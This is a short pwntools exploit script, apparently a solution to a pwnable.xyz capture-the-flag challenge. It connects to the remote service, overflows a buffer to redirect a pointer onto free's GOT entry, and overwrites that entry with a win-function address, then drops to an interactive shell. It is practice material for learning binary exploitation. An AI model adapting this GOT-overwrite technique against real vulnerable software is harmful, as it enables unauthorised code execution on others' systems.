#!/usr/bin/python
from pwn import *


context.log_level = 'debug'
# context.terminal = ['tmux', 'split', '-v']


e = ELF("./challenge")
# p = process('./challenge')
p = remote("svc.pwnable.xyz", 30013)
free_got = 0x602018
alarm_got = 0x602048
win_addr = 0x40094c


p.sendafter(": ", '\x00')
p.sendafter(": ", "fake string")
for i in range(8) :
    p.sendlineafter("> ", "1")
    p.sendafter(": ", "\x00")

p.sendlineafter("> ", "1")
# Append 0x0a to avoid nullifying end byte
p.sendafter(": ", "A" * 0x80 + '\x18\x20\x60\x0a\x00')

p.sendlineafter("> ", "2")
p.sendafter(": ", "\x4c\x09\x40\x00\x00\x00\x00\x00")

# gdb.attach(p)
# raw_input()

p.sendafter("> ", "1")

p.interactive()